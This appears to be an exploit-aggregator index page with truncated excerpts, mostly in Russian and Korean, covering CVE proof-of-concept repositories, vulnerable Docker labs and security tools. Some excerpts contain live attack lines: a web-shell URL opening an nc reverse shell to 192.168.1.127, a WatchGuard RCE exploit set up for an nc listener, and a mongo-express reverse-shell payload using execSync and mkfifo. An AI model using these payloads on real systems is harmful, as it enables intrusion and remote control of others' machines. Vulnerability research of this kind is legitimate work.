CVE-2020-27223

CVE-2020-27223 Использование root@kitploit: $ mvn spring-boot:run 9.4.36.v20210114 root@kitploit: $ ./poc/cve-2020-27223-poc1.sh "timens":"58,557","acceptlanguage":"aab" real 0m0.093s 🐇 user 0m0.006s sys 0m0.007s "timens":"18,461,763,438","acceptlanguage":"ahn" real 0m35.339s 🐢 user 0m0.006s sys...

TrustTunnel v1.1.0

Clients · App store · Play store Table of Contents Introduction Server Features Client Features Quick start Endpoint setup Install the endpoint Updating the endpoint Endpoint configuration wizard Let's Encrypt certificate lifecycle Running endpoint Export client configuration Client setup Install...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian Обзор Этот репозиторий является средой PoC для CVE-2014-6271. Вы можете развернуть веб-сервис, включающий уязвимость, используя образ контейнера apache2. Подготовка Сборка образа Соберите небезопасный образ из Dockerfile. root@kitploit: docker build -t...

CVE-2020-13424

Название эксплойта: Joomla! Плагин XCloner Backup 3.5.3 - Локальное включение файла требуется аутентификация Дата: 2020-05-10 Автор эксплойта: Mehmet Kelepçe / Gais Cyber Security ID автора Exploit-Db: 8763 Ссылка:...

watchguard_cve-2022-26318

watchguardcve-2022-26318 PoC-эксплойт RCE для WatchGuard CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def...

CitrixBleed-2-CVE-2025-5777-PoC-

CitrixBleed 2 CVE-2025-5777 궁극 분석 NetScaler ADC / Gateway의 Out-of-Bounds Memory Read — 원인부터 공방 실전까지의 전방위 매뉴얼 PoC 사용법: python3 poc.py https://gateway.example.com Exp 사용법: python3 exp.py https://gateway.example.com admin 7acbb35f4d... 목차 root@kitploit: 0x00 引言 / 速览 0x01 背景：NetScaler 架构与 CitrixBleed...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD Информация Этот репозиторий содержит необходимые файлы для создания Docker-образа с уязвимой средой OpenSMTPD 6.6.1p1. Уязвимость позволяет злоумышленнику выполнять произвольные команды через специально сформированную SMTP-сессию, а именно в поле MAIL FROM. Использование 1...

CVE-2022-29078

CVE-2022-29078 Уязвимый ejs 3.1.6 docker Установка root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs Использование root@kitploit: http://127.0.0.1:49160/ Эксплуатация В...

cve-2021-42013.get

Apache 2.4.50 - Обход пути или удаленное выполнение кода cve-2021-42013.py — это скрипт на Python, который помогает обнаружить уязвимость обхода пути или удаленного выполнения кода в Apache 2.4.50. Предоставляется уязвимый экземпляр Docker, чтобы вы могли попрактиковаться с CVE-2021-42013. Если...

cve-2021-42013

Apache 2.4.50 - 경로 탐색 또는 원격 코드 실행 cve-2021-42013.py는 Apache 2.4.50에서 경로 탐색 또는 원격 코드 실행 취약점을 찾는 데 도움이 되는 Python 스크립트입니다. CVE-2021-42013을 실습할 수 있도록 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화된 경우, 경로 탐색이 아닌 원격 코드 실행을 수행할 수 있습니다. 따라서 httpd.conf의 Alias 섹션에 "icons" 디렉터리를 추가하여 경로 탐색 취약점을 확인합니다. httpd.conf의 취약...

gitlist-RCE

gitlist-RCE CVE-2014-4511 пример: после успешной загрузки shell: доступ: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE 익스플로잇, iOS 16.5.1/macOS 13.4.1에서 패치되었을 수 있음 macOS 13.3.1, iOS 15.8.2에서 익스플로잇이 동작함을 확인함. 설명 현재 하드코딩된 오프셋으로 인해 macOS 13.0.1 x8664에서만 동작합니다. addrof/fakeobj, r/w 프리미티브 구현 SecurityOrigin-muniversalAccess를 1로 패치 JIT 실행으로 stage1.bin 로드 크레딧 상세 분석 문서와 함께 원본 PoC를 공개한 ENKI...

lights-out

Lights Out Этот репозиторий содержит инструменты, позволяющие получить программный контроль над светодиодом веб-камеры на ThinkPad X230 без физического доступа к ноутбуку. Они были созданы как практическая демонстрация того, что вредоносное ПО может записывать видео через веб-камеру без индикации...

firmware-workshop

펌웨어 추출, 탐색 및 에뮬레이션 실습 유연한 펌웨어 추출기인 Unblob의 실습 데모에 참여하세요. 이 워크숍 세션에서는 EV 충전기에서 펌웨어를 추출하고, 펌웨어를 자세히 살펴본 후, 최종적으로 에뮬레이션하여 실시간으로 서비스와 상호작용할 수 있게 됩니다. Unblob은 하드웨어 및 다운로드 가능한 펌웨어 버전 모두에서 작동하므로 풍부한 대상 환경을 제공합니다. 사전 경험은 필요하지 않으며, 이 세션은 모든 수준의 기술에 적합합니다. 여러분을 그 자리에서 만나 뵙기를 기대합니다. 우리의 대상 우리의 대상은 Phoenix...

certipy-merged

certipy-merged Этот репозиторий содержит форк ly4k/Certipy со множеством объединённых открытых pull request'ов, которые были приведены в совместимость друг с другом и протестированы в определённой степени. Поскольку это работа в процессе , некоторые функции могут работать не так, как ожидается, а...

userland-exec

Userland Exec Userland exec заменяет существующий образ процесса в текущем адресном пространстве новым. Он имитирует поведение системного вызова execve, но структуры процесса, описывающие образ процесса, остаются неизменными. Иными словами, имя процесса, отображаемое системными утилитами, сохрани...

CVE-2018-17182

CVE-2018-17182 Уязвимость ядра Linux VMA-UAF, приводящая к повышению привилегий CVE-2018-17182 Описание Исследователи безопасности из Google Project Zero опубликовали подробности и концептуальный эксплойт PoC для критической уязвимости в ядре Linux, присутствующей начиная с версии ядра 3.16 и до...

ansible-role-log4shell

lucab85.ansiblerolelog4shell Роль Ansible для сканирования целевых хостов Linux с использованием официального скрипта детектора Red Hat Log4j RHSB-2021-009 для Log4Shell CVE-2021-44228. Протестировано с детектором Red Hat версии 1.3 от 2022-01-10. Ansible Playbook Код также доступен в виде Ansibl...

USN-8711-1: Libgcrypt vulnerability

It was discovered that Libgcrypt had a timing-based side-channel flaw in its RSA implementation. A remote attacker could possibly use this issue to obtain sensitive information...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...